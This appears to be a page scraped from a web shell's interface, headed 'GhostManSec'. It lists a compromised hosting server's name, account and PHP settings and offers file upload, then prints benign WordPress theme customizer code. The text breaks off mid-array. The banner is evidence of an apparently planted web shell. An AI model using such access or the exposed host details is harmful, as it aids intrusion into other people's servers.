GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /home/parhudrw/www/wp-content/themes/around/inc/woocommerce/class-around-woocommerce-customizer.php
<?php
/**
 * Around WooCommerce Customizer Class
 *
 * @package  around
 * @since    1.0.0
 */

if ( ! defined( 'ABSPATH' ) ) {
    exit;
}

if ( ! class_exists( 'Around_WooCommerce_Customizer' ) ) :

    /**
     * The around Customizer class
     */
    class Around_WooCommerce_Customizer extends Around_Customizer {

        /**
         * Setup class.
         *
         * @since 1.0.0
         * @return void
         */
        public function __construct() {
            add_action( 'customize_register', array( $this, 'customize_myaccount_settings' ), 10 );
            add_action( 'customize_register', array( $this, 'customize_shop_settings' ), 10 );

        }


        /**
         * Add postMessage support for site title and description for the Theme Customizer along with several other settings.
         *
         * @param WP_Customize_Manager $wp_customize Theme Customizer object.
         * @since 1.0.0
         */
        public function customize_myaccount_settings( $wp_customize ) {

            /**
             * Shop page
             */

            global $around;

            $wp_customize->add_setting( 'account_enable_separate_header', [
                'default'           => 'yes',
                'sanitize_callback' => 'sanitize_key',
            ] );

            $wp_customize->add_control( 'account_enable_separate_header', [
                'type'        => 'radio',
                'section'     => 'around_myaccount',
                'label'       => esc_html__( 'Enable Dashboard Header for User Login', 'around' ),
                'description' => esc_html__( 'This setting allows you to show or hide dashboard Header.', 'around' ),
                'choices'     => [
                    'yes' => esc_html__( 'Yes', 'around' ),
                    'no'  => esc_html__( 'No', 'around' ),
                ],
            ] );

            $wp_customize->selective_refresh->add_partial( 'account_enable_separate_header', [
                'fallback_refresh'    => true
            ] );

            $wp_customize->add_setting( 'account_enable_separate_footer', [
                'default'           => 'yes',
                'sanitize_callback' => 'sanitize_key',
            ] );

            $wp_customize->add_control( 'account_enable_separate_footer', [
                'type'        => 'radio',
                'section'     => 'around_myaccount',
                'label'       => esc_html__( 'Enable Footer v10 for User Login', 'around' ),
                'description' => esc_html__( 'This setting allows you to show or hide dashboard Header.', 'around' ),
                'choices'     => [
                    'yes' => esc_html__( 'Yes', 'around' ),
                    'no'  => esc_html__( 'No', 'around' ),
                ],
            ] );

            $wp_customize->selective_refresh->add_partial( 'account_enable_separate_footer', [
                'fallback_refresh'    => true
            ] );

            $wp_customize->add_section(
                'around_myaccount', array(
                    'title'       => esc_html__( 'My Account', 'around' ),
                    'description' => esc_html__( 'This section contains settings related to my account.', 'around' ),
                    'priority'    => 30,
                    'panel'       => 'woocommerce',
                )
            );


            $wp_customize->add_setting( 'myaccount_style', array(
                    'default'           => 'style-v1',
                    'sanitize_callback' => 'sanitize_key',
                    'transport'         => 'postMessage',
                )
            );

            $wp_customize->add_control( 'myaccount_style', array(
                    'type'        => 'select',
                    'section'     => 'around_myaccount',
                    'label'       => esc_html__( 'My Account Page Style', 'around' ),
                    'description' => esc_html__( 'Select the style for My Account page', 'around' ),
                    'choices'     => [
                        'style-v1'            => esc_html__( 'Sign In - Sign Up', 'around' ),
                        'style-v2'            => esc_html__( 'Sign In - Illustration', 'around' ),
                        'style-v3'            => esc_html__( 'Sign In - Image', 'around' ),
                        
                    ],
                )
            );

            $wp_customize->selective_refresh->add_partial( 'myaccount_style', [
                'fallback_refresh'    => true
            ] );

            $wp_customize->add_setting( 'myaccount_image', [
                'default'           => 0,
                'sanitize_callback' => 'absint',
            ] );

            $wp_customize->add_control( new WP_Customize_Media_Control( $wp_customize, 'myaccount_image', [
                'label'       => esc_html__( 'Upload an image', 'around' ),
                'description' => esc_html__( 'If you have a cool picture that you want to display on the 404 page you can upload it here.', 'around' ),
                'section'     => 'around_myaccount',
                'mime_type'   => 'image',
                'active_callback' => function () {
                    return in_array(
                        get_theme_mod( 'myaccount_style' ), [ 'style-v2', 'style-v3' ] 
                    ); 
                }
            ] ) );

            $wp_customize->selective_refresh->add_partial( 'myaccount_image', [
                'fallback_refresh'    => true
            ] );


            $wp_customize->add_setting( 'login_title', [
                'default'           => esc_html__( 'Sign in', 'around' ),
                'sanitize_callback' => 'sanitize_text_field',
                'transport'         => 'postMessage',
            ] );
            $wp_customize->add_control( 'login_title', [
                'section'     => 'around_myaccount',
                'type'        => 'text',
                /* translators: label field of setting responsible for keeping the page title of blog in posts listing (no Static Front Page). */
                'label'       => esc_html__( 'Login Form Title', 'around' ),
                'description' => esc_html__( 'This setting allows you to set login form title','around' ),
            ] );
            $wp_customize->selective_refresh->add_partial( 'login_title', [
                'fallback_refresh'    => true
            ] );


            $wp_customize->add_setting( 'login_desc', [
                'default'           => esc_html__( 'Sign in to your account using email and password provided during registration.','around' ),
                'sanitize_callback' => 'sanitize_text_field',
                'transport'         => 'postMessage',
            ] );
            $wp_customize->add_control( 'login_desc', [
                'section'     => 'around_myaccount',
                'type'        => 'textarea',
                /* translators: label field of setting responsible for keeping the page title of blog in posts listing (no Static Front Page). */
                'label'       => esc_html__( 'Login Form Description', 'around' ),
                'description' => esc_html__( 'This setting allows you to set login form description','around' ),
            ] );
            $wp_customize->selective_refresh->add_partial( 'login_desc', [
                'fallback_refresh'    => true
            ] );

            $wp_customize->add_setting( 'login_heading_alignment', [
                'default'           => 'text-left',
                'sanitize_callback' => 'sanitize_key',
            ] );

            $wp_customize->add_control( 'login_heading_alignment', [
                'type'        => 'select',
                'section'     => 'around_myaccount',
                'label'       => esc_html__( 'Login Heading Alignment', 'around' ),
                'description' => esc_html__( 'This setting allows you to set login heading alignment', 'around' ),
                'choices'     => [
                    'text-left'    => esc_html__( 'Left', 'around' ),
                    'text-center'  => esc_html__( 'Center', 'around' ),
                    'text-right'   => esc_html__( 'Right', 'around' ),
                ],

            ] );

            $wp_customize->selective_refresh->add_partial( 'login_heading_alignment', [
                'fallback_refresh'    => true
            ] );


            $wp_customize->add_setting( 'register_title', [
                'default'           => esc_html__( 'Sign up', 'around' ),
                'sanitize_callback' => 'sanitize_text_field',
                'transport'         => 'postMessage',
            ] );
            $wp_customize->add_control( 'register_title', [
                'section'     => 'around_myaccount',
                'type'        => 'text',
                /* translators: label field of setting responsible for keeping the page title of blog in posts listing (no Static Front Page). */
                'label'       => esc_html__( 'Register Form Title', 'around' ),
                'description' => esc_html__( 'This setting allows you to set register form title','around' ),
                'active_callback' => function () {
                    get_option( 'woocommerce_enable_myaccount_registration' === 'yes' );
                }
                
            ] );
            $wp_customize->selective_refresh->add_partial( 'register_title', [
                'fallback_refresh'    => true
            ] );




            $wp_customize->add_setting( 'register_desc', [
                'default'           => esc_html__('Registration takes less than a minute but gives you full control over your orders.', 'around' ),
                'sanitize_callback' => 'sanitize_text_field',
                'transport'         => 'postMessage',
            ] );
            $wp_customize->add_control( 'register_desc', [
                'section'     => 'around_myaccount',
                'type'        => 'textarea',
                /* translators: label field of setting responsible for keeping the page title of blog in posts listing (no Static Front Page). */
                'label'       => esc_html__( 'Register Form Description', 'around' ),
                'description' => esc_html__( 'This setting allows you to set register form description','around' ),
                'active_callback' => function () {
                    get_option( 'woocommerce_enable_myaccount_registration' === 'yes' );
                }
            ] );
            $wp_customize->selective_refresh->add_partial( 'register_desc', [
                'fallback_refresh'    => true
            ] );

            $wp_customize->add_setting( 'register_heading_alignment', [
                'default'           => 'text-left',
                'sanitize_callback' => 'sanitize_key',
            ] );

            $wp_customize->add_control( 'register_heading_alignment', [
                'type'        => 'select',
                'section'     => 'around_myaccount',
                'label'       => esc_html__( 'Register Heading Alignment', 'around' ),
                'description' => esc_html__( 'This setting allows you to set register heading alignment', 'around' ),
                'choices'     => [
                    'text-left'    => esc_html__( 'Left', 'around' ),
                    'text-center'  => esc_html__( 'Center', 'around' ),
                    'text-right'   => esc_html__( 'Right', 'around' ),
                ],
                'active_callback' => function () {
                    get_option( 'woocommerce_enable_myaccount_registration' === 'yes' );
                }

            ] );

            $wp_customize->selective_refresh->add_partial( 'register_heading_alignment', [
                'fallback_refresh'    => true
            ] );


            $wp_customize->add_setting( 'forget_password_title', [
                'default'           => esc_html__( 'Forgot your password?', 'around' ),
                'sanitize_callback' => 'sanitize_text_field',
                'transport'         => 'postMessage',
            ] );
            $wp_customize->add_control( 'forget_password_title', [
                'section'     => 'around_myaccount',
                'type'        => 'text',
                /* translators: label field of setting responsible for keeping the page title of blog in posts listing (no Static Front Page). */
                'label'       => esc_html__( 'Forget Password Title', 'around' ),
                'description' => esc_html__( 'This setting allows you to set forget password form title','around' ),

                
            ] );
            $wp_customize->selective_refresh->add_partial( 'forget_password_title', [
                'fallback_refresh'    => true
            ] );


            $wp_customize->add_setting( 'forget_password_desc', [
                'default'           => esc_html__('Change your password in three easy steps. This helps to keep your new password secure.', 'around' ),
                'sanitize_callback' => 'sanitize_text_field',
                'transport'         => 'postMessage',
            ] );
            $wp_customize->add_control( 'forget_password_desc', [
                'section'     => 'around_myaccount',
                'type'        => 'textarea',
                /* translators: label field of setting responsible for keeping the page title of blog in posts listing (no Static Front Page). */
                'label'       => esc_html__( 'Forget Password Form Description', 'around' ),
                'description' => esc_html__( 'This setting allows you to set forget password form description','around' ),

            ] );
            $wp_customize->selective_refresh->add_partial( 'forget_password_desc', [
                'fallback_refresh'    => true
            ] );





            $wp_customize->add_setting( 'form_footer_alignment', [
                'default'           => 'text-left',
                'sanitize_callback' => 'sanitize_key',
            ] );

            $wp_customize->add_control( 'form_footer_alignment', [
                'type'        => 'select',
                'section'     => 'around_myaccount',
                'label'       => esc_html__( 'Form Footer Alignment', 'around' ),
                'description' => esc_html__( 'This setting allows you to set form footer alignment', 'around' ),
                'choices'     => [
                    'text-left'    => esc_html__( 'Left', 'around' ),
                    'text-center'  => esc_html__( 'Center', 'around' ),
                    'text-right'   => esc_html__( 'Right', 'around' ),
                ],
                'active_callback' => function () {
                    get_option( 'woocommerce_enable_myaccount_registration' === 'yes' );
                }

            ] );

            $wp_customize->selective_refresh->add_partial( 'form_footer_alignment', [
                'fallback_refresh'    => true
            ] );


        }

        public function customize_shop_settings( $wp_customize ) {
        $this->static_contents = around_static_content_options();
        /**
         * Shop page
         */

        global $around;

            $wp_customize->add_section(
                'around_shop', array(
                    'title'       => esc_html__( 'Shop Page', 'around' ),
                    'description' => esc_html__( 'This section contains settings related to products listing and archives.', 'around' ),
                    'priority'    => 30,
                    'panel'       => 'woocommerce',
                )
            );

            $wp_customize->add_setting(
                'product_archive_layout', array(
                    'default'           => 'left-sidebar',
                    'capability'        => 'edit_theme_options',
                    'sanitize_callback' => 'sanitize_key',
                    'transport'         => 'postMessage',
                )
            );

            $wp_customize->add_control(
                'product_archive_layout', array(
                    'type'        => 'select',
                    'section'     => 'around_shop',
                    /* translators: label field of control in Customizer */
                    'label'       => esc_html__( 'Shop Sidebar', 'around' ),
                    'description' => esc_html__( 'Select from the three sidebar layouts for shop', 'around' ),
                    'choices'     => [
                        'left-sidebar'  => esc_html__( 'Left Sidebar', 'around' ),
                        'right-sidebar' => esc_html__( 'Right Sidebar', 'around' ),
                        'full-width'    => esc_html__( 'Full Width', 'around' ),
                    ],
                    'priority'    => 10,
                )
            );

            $wp_customize->selective_refresh->add_partial( 'product_archive_layout', [
                'fallback_refresh'    => true
            ] );

            $wp_customize->add_setting( 'enable_separate_header_for_shop', [
                'default'           => 'yes',
                'sanitize_callback' => 'sanitize_key',
            ] );

            $wp_customize->add_control( 'enable_separate_header_for_shop', [
                'type'        => 'radio',
                'section'     => 'around_shop',
                'label'       => esc_html__( 'Enable Separate Header for Shop Page', 'around' ),
                'description' => esc_html__( 'This setting allows you to show or hide button icon in Header.', 'around' ),
                'choices'     => [
                    'yes' => esc_html__( 'Yes', 'around' ),
                    'no'  => esc_html__( 'No', 'around' ),
                ],
            ] );

            $wp_customize->selective_refresh->add_partial( 'enable_separate_header_for_shop', [
                'fallback_refresh'    => true
            ] );



            $wp_customize->add_setting( 'shop_navbar_variant', [
                'default'           => 'shop',
                'sanitize_callback' => 'sanitize_key',
            ] );
            $wp_customize->add_control( 'shop_navbar_variant', [
                'type'        => 'select',
                'section'     => 'around_shop',
                'label'       => esc_html__( 'Navbar Variant', 'around' ),
                'description' => esc_html__( 'This setting allows you to choose your header type.', 'around' ),
                'choices'     => [
                    'solid'      => esc_html__( 'Solid', 'around' ),
                    'dashboard'  => esc_html__( 'Dashboard', 'around' ),
                    'shop'       => esc_html__( 'Shop', 'around' ),
                    'button'     => esc_html__( 'Simple', 'around' ),
                    'social'     => esc_html__( 'Social', 'around' ),
                ],
                'active_callback' => function () {
                    return filter_var( get_theme_mod( 'enable_separate_header_for_shop' ), FILTER_VALIDATE_BOOLEAN );
                 }


            ] );
            $wp_customize->selective_refresh->add_partial( 'shop_navbar_variant', [
                'fallback_refresh'    => true
            ] );

            $wp_customize->add_setting( 'shop_enable_topbar', [
                'default'           => 'yes',
                'sanitize_callback' => 'sanitize_key',
            ] );
            $wp_customize->add_control( 'shop_enable_topbar', [
                'type'        => 'radio',
                'section'     => 'around_shop',
                'label'       => esc_html__( 'Enable Topbar?', 'around' ),
                'choices'     => [
                    'yes' => esc_html__( 'Yes', 'around' ),
                    'no'  => esc_html__( 'No', 'around' ),
                ],
                'active_callback' => function () {
                    return in_array( get_theme_mod( 'shop_navbar_variant' ), [
                        'shop',
                    ] ) && filter_var( get_theme_mod( 'enable_separate_header_for_shop' ), FILTER_VALIDATE_BOOLEAN );
                }
            ] );
            $wp_customize->selective_refresh->add_partial( 'shop_enable_topbar', [
                'fallback_refresh'    => true
            ] );

            $wp_customize->add_setting( 'shop_topbar_skin', [
                'default'           => 'dark',
                'sanitize_callback' => 'sanitize_key',
            ] );

            $wp_customize->add_control( 'shop_topbar_skin', [
                'type'        => 'select',
                'section'     => 'around_shop',
                'label'       => esc_html__( 'Topbar Skin', 'around' ),
                'description' => esc_html__( 'This setting allows you to choose your topbar skin.', 'around' ),
                'choices'     => [
                    'light' => esc_html__( 'Light', 'around' ),
                    'dark'  => esc_html__( 'Dark', 'around' ),
                ],
                'active_callback' => function () {
                    return ( 'yes' === get_theme_mod( 'enable_topbar', 'yes' ) ) && in_array( get_theme_mod( 'shop_navbar_variant' ), [
                        'shop',
                    ] ) && filter_var( get_theme_mod( 'enable_separate_header_for_shop' ), FILTER_VALIDATE_BOOLEAN ); 
                }
            ] );

            $wp_customize->selective_refresh->add_partial( 'shop_topbar_skin', [
                'fallback_refresh'    => true
            ] );

            $wp_customize->add_setting( 'shop_navbar_skin', [
                'default'           => 'light',
                'sanitize_callback' => 'sanitize_key',
            ] );
            $wp_customize->add_control( 'shop_navbar_skin', [
                'type'        => 'select',
                'section'     => 'around_shop',
                'label'       => esc_html__( 'Navbar Skin', 'around' ),
                'choices'     => [
                    'dark'         => esc_html__( 'Dark', 'around' ),
                    'primary'      => esc_html__( 'Primary', 'around' ),
                    'secondary'    => esc_html__( 'Gray', 'around' ),
                    'light'        => esc_html__( 'Light', 'around' ),
                ],
                'active_callback' => function () {
                    return in_array( get_theme_mod( 'shop_navbar_variant' ), [
                        'solid', 'shop', 'social'
                    ] ) && filter_var( get_theme_mod( 'enable_separate_header_for_shop' ), FILTER_VALIDATE_BOOLEAN ) && 'no' === get_theme_mod( 'shop_enable_transparent', 'no' );
                }
            ] );
            $wp_customize->selective_refresh->add_partial( 'shop_navbar_skin', [
                'fallback_refresh'    => true
            ] );


            $wp_customize->add_setting( 'shop_enable_boxshadow', [
                'default'           => 'yes',
                'sanitize_callback' => 'sanitize_key',
            ] );

            $wp_customize->add_control( 'shop_enable_boxshadow', [
                'type'        => 'radio',
                'section'     => 'around_shop',
                'label'       => esc_html__( 'Enable Box Shadow?', 'around' ),
                'choices'     => [
                    'yes' => esc_html__( 'Yes', 'around' ),
                    'no'  => esc_html__( 'No', 'around' ),
                ],
                'active_callback' => function () {
                    return in_array( get_theme_mod( 'shop_navbar_variant' ), [
                        'shop','solid', 'social'
                    ] ) && filter_var( get_theme_mod( 'enable_separate_header_for_shop' ), FILTER_VALIDATE_BOOLEAN ) && 'no' === get_theme_mod( 'shop_enable_transparent', 'no' );
                }
            ] );

            $wp_customize->selective_refresh->add_partial( 'shop_enable_boxshadow', [
                'fallback_refresh'    => true
            ] );


            $wp_customize->add_setting( 'shop_enable_button_variant_boxshadow', [
                'default'           => 'no',
                'sanitize_callback' => 'sanitize_key',
            ] );

            $wp_customize->add_control( 'shop_enable_button_variant_boxshadow', [
                'type'        => 'radio',
                'section'     => 'around_header',
                'label'       => esc_html__( 'Enable Box Shadow?', 'around' ),
                'choices'     => [
                    'yes' => esc_html__( 'Yes', 'around' ),
                    'no'  => esc_html__( 'No', 'around' ),
                ],
                'active_callback' => function () {
                    return in_array( get_theme_mod( 'navbar_variant' ), [
                        'button'
                    ] ) && 'no' === get_theme_mod( 'enable_transparent', 'no' );
                }
            ] );

            $wp_customize->selective_refresh->add_partial( 'shop_enable_button_variant_boxshadow', [
                'fallback_refresh'    => true
            ] );

            $wp_customize->add_setting( 'shop_enable_transparent', [
                'default'           => 'no',
                'sanitize_callback' => 'sanitize_key',
            ] );

            $wp_customize->add_control( 'shop_enable_transparent', [
                'type'        => 'radio',
                'section'     => 'around_shop',
                'label'       => esc_html__( 'Enable Transparent', 'around' ),
                'choices'     => [
                    'yes' => esc_html__( 'Yes', 'around' ),
                    'no'  => esc_html__( 'No', 'around' ),
                ],
                'active_callback' => function () {
                    return in_array( get_theme_mod( 'shop_navbar_variant' ), [
                        'solid','button'
                    ] ) && filter_var( get_theme_mod( 'enable_separate_header_for_shop' ), FILTER_VALIDATE_BOOLEAN );
                }
            ] );

            $wp_customize->selective_refresh->add_partial( 'shop_enable_transparent', [
                'fallback_refresh'    => true
            ] );

            $wp_customize->add_setting( 'shop_enable_transparent_logo', [
                'default'           => 'yes',
                'sanitize_callback' => 'sanitize_key',
            ] );

            $wp_customize->add_control( 'shop_enable_transparent_logo', [
                'type'        => 'radio',
                'section'     => 'around_header',
                'label'       => esc_html__( 'Enable Transparent Logo', 'around' ),
                'choices'     => [
                    'yes' => esc_html__( 'Yes', 'around' ),
                    'no'  => esc_html__( 'No', 'around' ),
                ],
                'active_callback' => function () {
                    return in_array( get_theme_mod( 'navbar_variant' ), [
                        'solid','button'
                    ] ) &&  'yes' === get_theme_mod( 'blog_enable_transparent', 'no' );
                }
            ] );

            $wp_customize->selective_refresh->add_partial( 'shop_enable_transparent_logo', [
                'selector'            => '.navbar',
                'container_inclusive' => true,
            ] );

            $wp_customize->add_setting( 'shop_transparent_text_color', [
                'default'           => 'light',
                'sanitize_callback' => 'sanitize_key',
            ] );

            $wp_customize->add_control( 'shop_transparent_text_color', [
                'type'        => 'select',
                'section'     => 'around_shop',
                'label'       => esc_html__( 'Text Color for Transparent Bg', 'around' ),
                'description' => esc_html__( 'This setting allows you to choose your topbar skin.', 'around' ),
                'choices'     => [
                    'light' => esc_html__( 'Light', 'around' ),
                    'dark'  => esc_html__( 'Dark', 'around' ),
                ],
                'active_callback' => function () {
                    return ( 'yes' === get_theme_mod( 'shop_enable_transparent', 'no' ) ) && in_array( get_theme_mod( 'shop_navbar_variant' ), [
                        'solid','button'
                    ] ) && filter_var( get_theme_mod( 'enable_separate_header_for_shop' ), FILTER_VALIDATE_BOOLEAN ); 
                }
            ] );

            $wp_customize->selective_refresh->add_partial( 'shop_transparent_text_color', [
                'fallback_refresh'    => true
            ] );

            // $wp_customize->add_setting( 'shop_enable_slanted_bg', [
            //     'default'           => 'yes',
            //     'sanitize_callback' => 'sanitize_key',
            // ] );
            // $wp_customize->add_control( 'shop_enable_slanted_bg', [
            //     'type'        => 'radio',
            //     'section'     => 'around_shop',
            //     'label'       => esc_html__( 'Enable Slanted Background', 'around' ),
            //     'choices'     => [
            //         'yes' => esc_html__( 'Yes', 'around' ),
            //         'no'  => esc_html__( 'No', 'around' ),
            //     ],
            //     'active_callback' => function () {
            //         return in_array( get_theme_mod( 'shop_navbar_variant' ), [
            //             'dashboard'
            //         ] ) && filter_var( get_theme_mod( 'enable_separate_header_for_shop' ), FILTER_VALIDATE_BOOLEAN );
            //     }
            // ] );
            // $wp_customize->selective_refresh->add_partial( 'shop_enable_slanted_bg', [
            //     'fallback_refresh'    => true
            // ] );

            $wp_customize->add_setting( 'shop_enable_sticky', [
                'default'           => 'yes',
                'sanitize_callback' => 'sanitize_key',
            ] );
            $wp_customize->add_control( 'shop_enable_sticky', [
                'type'        => 'radio',
                'section'     => 'around_shop',
                'label'       => esc_html__( 'Enable Sticky?', 'around' ),
                'choices'     => [
                    'yes' => esc_html__( 'Yes', 'around' ),
                    'no'  => esc_html__( 'No', 'around' ),
                ],
                 'active_callback' => function () {
                    return filter_var( get_theme_mod( 'enable_separate_header_for_shop' ), FILTER_VALIDATE_BOOLEAN );
                }
            ] );
            $wp_customize->selective_refresh->add_partial( 'shop_enable_sticky', [
                'fallback_refresh'    => true
            ] );

            $wp_customize->add_setting( 'shop_enable_search', [
                'default'           => 'yes',
                'sanitize_callback' => 'sanitize_key',
            ] );
            $wp_customize->add_control( 'shop_enable_search', [
                'type'        => 'radio',
                'section'     => 'around_shop',
                'label'       => esc_html__( 'Enable Search?', 'around' ),
                'choices'     => [
                    'yes' => esc_html__( 'Yes', 'around' ),
                    'no'  => esc_html__( 'No', 'around' ),
                ],
                'active_callback' => function () {
                    return in_array( get_theme_mod( 'shop_navbar_variant' ), [
                        'shop','social',
                    ] ) && filter_var( get_theme_mod( 'enable_separate_header_for_shop' ), FILTER_VALIDATE_BOOLEAN ); 
                }
            ] );
            $wp_customize->selective_refresh->add_partial( 'shop_enable_search', [
                'fallback_refresh'    => true
            ] );

            $wp_customize->add_setting( 'shop_enable_account', [
                'default'           => 'yes',
                'sanitize_callback' => 'sanitize_key',
            ] );

            $wp_customize->add_control( 'shop_enable_account', [
                'type'        => 'radio',
                'section'     => 'around_shop',
                'label'       => esc_html__( 'Show My Account?', 'around' ),
                'description' => esc_html__( 'Enable / disable account in Header.', 'around' ),
                'choices'     => [
                    'yes' => esc_html__( 'Yes', 'around' ),
                    'no'  => esc_html__( 'No', 'around' ),
                ],
                'active_callback' => function () {
                     return in_array( get_theme_mod( 'shop_navbar_variant' ), [
                        'shop','dashboard', 'solid'
                    ] ) && filter_var( get_theme_mod( 'enable_separate_header_for_shop' ), FILTER_VALIDATE_BOOLEAN ); 
                    
                }
            ] );

            $wp_customize->selective_refresh->add_partial( 'shop_enable_account', [
                'fallback_refresh'    => true
            ] );

            $wp_customize->add_setting( 'shop_enable_cart', [
                'default'           => 'yes',
                'sanitize_callback' => 'sanitize_key',
            ] );
            $wp_customize->add_control( 'shop_enable_cart', [
                'type'        => 'radio',
                'section'     => 'around_shop',
                'label'       => esc_html__( 'Show Shopping Cart?', 'around' ),
                'description' => esc_html__( 'Enable / disable account in Header.', 'around' ),
                'choices'     => [
                    'yes' => esc_html__( 'Yes', 'around' ),
                    'no'  => esc_html__( 'No', 'around' ),
                ],
                'active_callback' => function () {
                     return in_array( get_theme_mod( 'shop_navbar_variant' ), [
                        'shop',
                    ] ) && filter_var( get_theme_mod( 'enable_separate_header_for_shop' ), FILTER_VALIDATE_BOOLEAN ); 
                    
                }
            ] );

            $wp_customize->selective_refresh->add_partial( 'shop_enable_cart', [
                'fallback_refresh'    => true
            ] );

            $wp_customize->add_setting( 'shop_enable_action_button', [
                'default'           => 'no',
                'sanitize_callback' => 'sanitize_key',
            ] );

            $wp_customize->add_control( 'shop_enable_action_button', [
                'type'        => 'radio',
                'section'     => 'around_shop',
                'label'       => esc_html__( 'Enable Buy Now Button', 'around' ),
                'description' => esc_html__( 'This setting allows you to show or hide Buy Now button', 'around' ),
                'choices'     => [
                    'yes' => esc_html__( 'Yes', 'around' ),
                    'no'  => esc_html__( 'No', 'around' ),
                ],
                'active_callback' => function () {
                     return in_array( get_theme_mod( 'shop_navbar_variant' ), [
                        'button',
                    ] ) && filter_var( get_theme_mod( 'enable_separate_header_for_shop' ), FILTER_VALIDATE_BOOLEAN ); 
                    
                }
                

            ] );

            $wp_customize->selective_refresh->add_partial( 'shop_enable_action_button', [
                'fallback_refresh'    => true
            ] );

            $wp_customize->add_setting( 'shop_enable_header_social_menu', [
                'default'           => 'yes',
                'sanitize_callback' => 'sanitize_key',
            ] );

            $wp_customize->add_control( 'shop_enable_header_social_menu', [
                'type'        => 'radio',
                'section'     => 'around_shop',
                'label'       => esc_html__( 'Enable Social Menu', 'around' ),
                'description' => esc_html__( 'This setting allows you to show or hide social menu links', 'around' ),
                'choices'     => [
                    'yes' => esc_html__( 'Yes', 'around' ),
                    'no'  => esc_html__( 'No', 'around' ),
                ],
                'active_callback' => function () {
                     return in_array( get_theme_mod( 'shop_navbar_variant' ), [
                        'social',
                    ] ) && filter_var( get_theme_mod( 'enable_separate_header_for_shop' ), FILTER_VALIDATE_BOOLEAN ); 
                    
                }
                

            ] );

            $wp_customize->selective_refresh->add_partial( 'shop_enable_header_social_menu', [
                'fallback_refresh'    => true
            ] );



            $wp_customize->add_setting( 'enable_separate_footer_for_shop', [
                'default'           => 'yes',
                'sanitize_callback' => 'sanitize_key',
            ] );

            $wp_customize->add_control( 'enable_separate_footer_for_shop', [
                'type'        => 'radio',
                'section'     => 'around_shop',
                'label'       => esc_html__( 'Enable Separate Footer for Shop Page', 'around' ),
                'description' => esc_html__( 'This setting allows you to show or hide button icon in footer.', 'around' ),
                'choices'     => [
                    'yes' => esc_html__( 'Yes', 'around' ),
                    'no'  => esc_html__( 'No', 'around' ),
                ],
            ] );

            $wp_customize->selective_refresh->add_partial( 'enable_separate_footer_for_shop', [
                'fallback_refresh'    => true
            ] );



            $wp_customize->add_setting( 'shop_footer_variant', [
                'default'           => 'default',
                'sanitize_callback' => 'sanitize_key',
            ] );
            $wp_customize->add_control( 'shop_footer_variant', [
                'type'        => 'select',
                'section'     => 'around_shop',
                'label'       => esc_html__( 'Shop Footer Variant', 'around' ),
                'description' => esc_html__( 'This setting allows you to choose your footer type.', 'around' ),
                'choices'     => [
                    'default'      => esc_html__( 'Default', 'around' ),
                    'simple'       => esc_html__( 'Footer Simple', 'around' ),
                    'simple-2'     => esc_html__( 'Footer with Social Icons', 'around' ),
                    'shop'         => esc_html__( 'Footer Shop', 'around' ),
                    'blog'         => esc_html__( 'Footer Blog', 'around' ),
                    'v6'           => esc_html__( 'Footer v6', 'around' ),
                    'v7'           => esc_html__( 'Footer v7', 'around' ),
                    'v8'           => esc_html__( 'Footer v8', 'around' ),
                    'v9'           => esc_html__( 'Footer v9', 'around' ),
                    'v10'          => esc_html__( 'Footer v10', 'around' ),

                ],
                'active_callback' => function () {
                    return filter_var( get_theme_mod( 'enable_separate_footer_for_shop' ), FILTER_VALIDATE_BOOLEAN );
                 }
            ] );
            $wp_customize->selective_refresh->add_partial( 'shop_footer_variant', [
                'fallback_refresh'    => true
            ] );

            $wp_customize->add_setting( 'shop_footer_skin', [
                'default'           => 'dark',
                'sanitize_callback' => 'sanitize_key',
            ] );

            $wp_customize->add_control( 'shop_footer_skin', [
                'type'        => 'select',
                'section'     => 'around_shop',
                'label'       => esc_html__( 'Footer Simple Skin', 'around' ),
                'description' => esc_html__( 'This setting allows you to choose your footer simple skin.', 'around' ),
                'choices'     => [
                    'light' => esc_html__( 'Light', 'around' ),
                    'dark'  => esc_html__( 'Dark', 'around' ),
                ],
                'active_callback' => function () {
                    return in_array( get_theme_mod( 'shop_footer_variant' ), [
                        'default','simple','v7', 'v8'
                    ] ) && filter_var( get_theme_mod( 'enable_separate_footer_for_shop' ), FILTER_VALIDATE_BOOLEAN ); 
                }
            ] );

            $wp_customize->selective_refresh->add_partial( 'shop_footer_skin', [
                'fallback_refresh'    => true
            ] );


            $wp_customize->add_setting( 'shop_contact_title', [
                'default'           => esc_html__( 'Contacts', 'around' ),
                'transport'         => 'postMessage',
                'sanitize_callback' => 'sanitize_text_field',
            ] );

            $wp_customize->add_control( 'shop_contact_title', [
                'type'            => 'text',
                'section'         => 'around_shop',
                'label'           => esc_html__( 'Contact Title', 'around' ),
                'description'     => esc_html__( 'This setting allows you to change "Contacts" word to something else in contact title.', 'around' ),
                'active_callback' => function () {
                    return in_array( get_theme_mod( 'shop_footer_variant' ), [
                        'v7',
                    ] ) && filter_var( get_theme_mod( 'enable_separate_footer_for_shop' ), FILTER_VALIDATE_BOOLEAN );
                }
            ] );
            $wp_customize->selective_refresh->add_partial( 'shop_contact_title', [
                'fallback_refresh'    => true
            ] );


            $wp_customize->add_setting( 'shop_around_copyright', [
                'transport'         => 'postMessage',
                'sanitize_callback' => 'wp_kses_post',
            ] );
            $wp_customize->add_control( 'shop_around_copyright', [
                'type'        => 'textarea',
                'section'     => 'around_shop',
                /* translators: label field for setting in Customizer */
                'label'       => esc_html__( 'Shop Page Copyright', 'around' ),
                /* translators: description field for "Copyright" setting in Customizer */
                'description' => esc_html__( 'HTML is allowed in this field.', 'around' ),
                'active_callback' => function () {
                    return filter_var( get_theme_mod( 'enable_separate_footer_for_shop' ), FILTER_VALIDATE_BOOLEAN );
                 }
            ] );

            $wp_customize->selective_refresh->add_partial( 'shop_around_copyright', [
                'selector'        => '.around-copyright',
                'render_callback' => 'around_footer_copyright',
            ] );

            $wp_customize->add_setting(
                'shop_footer_widgets', array(
                    'capability' => 'edit_theme_options',
                    'sanitize_callback' => 'absint',
                )
            );

            $wp_customize->add_control(
                'shop_footer_widgets', array (
                    'section'     => 'around_shop',
                    'label'       => esc_html__( 'Shop Footer Static Widgets', 'around' ),
                    'description' => esc_html__( 'Choose a static content that will be displayed in the footer widget area.','around' ),
                    'type'        => 'select',
                    'choices'     => $this->static_contents,
                    'active_callback' => function () {
                        return in_array( get_theme_mod( 'shop_footer_variant' ), [
                           'default', 'shop','v6', 'v7', 'blog'
